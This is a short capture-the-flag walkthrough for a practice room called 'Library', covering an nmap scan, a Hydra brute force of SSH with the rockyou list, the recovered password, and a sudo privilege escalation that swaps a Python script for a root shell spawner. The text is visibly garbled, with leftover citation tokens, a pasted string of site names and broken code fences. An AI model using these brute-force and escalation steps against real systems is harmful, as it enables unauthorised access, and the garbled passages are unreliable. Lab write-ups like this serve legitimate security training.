🎯 Room: Library (Easy)

1. Recon & Scanning

- Use Nmap to scan the target machine for open ports and services:

```
nmap -Pn -sS -sC -T5 -VV <IP>
```

- You'll find two open ports: **80 (HTTP)** and **22 (SSH)**

2. HTTP Enumeration

- Open the site in your browser or check the `robots.txt` file. It references "rockyou" — a well-known password list
- You also spot a username in a blog post—**meliodas**

3. SSH Brute Force

- Use Hydra with the rockyou wordlist to brute-force SSH login:

```
hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://<IP>
```

- Credentials found:

```
User: meliodas
Pass: iloveyou1
``` :contentReference[oaicite:9]{index=9}
```

## 4. Initial Shell & `user.txt`

- Log in via SSH (`ssh meliodas@<IP>`) and read the user flag:

```
cat ~/user.txt
```

5. Privilege Escalation (Root Access)
```

- Listing sudo permissions (`sudo -l`) shows you can run a script `bak.py` using Python as root infosecwriteups.com+5infosecwriteups.com+5blog.carsonshaffer.me+5.
- Steps:
  1. Remove or overwrite `bak.py` in your home directory.
  2. Create a new `bak.py` containing a simple Python reverse shell or just spawn a root shell:

     ```
     import pty; pty.spawn("/bin/bash")
     ```

  3. Execute it with:

     ```
     sudo python3 /home/meliodas/bak.py
     ```

6. Capture `root.txt`

- Once root shell is gained, read the final flag:

  ```
  cat /root/root.txt
  ```